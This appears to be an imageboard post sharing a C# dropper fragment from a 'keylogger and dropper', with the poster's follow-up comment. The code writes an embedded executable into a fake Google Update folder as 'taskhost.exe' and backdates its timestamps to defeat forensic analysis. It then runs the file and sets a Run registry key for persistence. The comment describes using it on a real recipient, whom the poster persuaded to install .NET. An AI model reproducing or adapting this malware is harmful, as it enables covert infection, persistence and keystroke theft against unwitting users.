c# keylogger and dropper

/* dropper fragment - background worker to drop embedded resource */

private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
    try {
        // pretend to be part of google update
        string outfile = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google"), "Update");
       
        try {
            Directory.CreateDirectory(outfile);
        } catch {}

        // innocent sounding name       
        outfile = Path.Combine(outfile, "taskhost.exe");
       
        // extract from embedded resource and write
        using (Stream input = Assembly.GetExecutingAssembly().GetManifestResourceStream("dropper.taskhost.exe"))
            using (Stream output = File.Create(outfile))
            {
                CopyStream(input, output);
                output.Close();
                input.Close();
            }

        // give it a time in the past to avoid analysis of when it was dropped
        try {
            File.SetLastWriteTime(outfile, DateTime.Now.AddMonths(-2).AddHours(-40).AddMinutes(33));
            File.SetCreationTime(outfile, DateTime.Now.AddMonths(-2).AddHours(-40).AddMinutes(33));
        } catch {}

        // run it
        System.Diagnostics.Process.Start(outfile);

        try {
            // and make it run every login
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            key.SetValue("Google Update Taskhost", "\"" + outfile + "\" -update");
        } catch {}
    }
    catch {}
}

>>6
I needed to code a something up quickly so I used C# instead of fucking around with Sepples nonsense. The joke was on me though as the recipient was using an old version of XP that didn't have .NET Framework installed. Fortunately though, I managed to convince him to install it.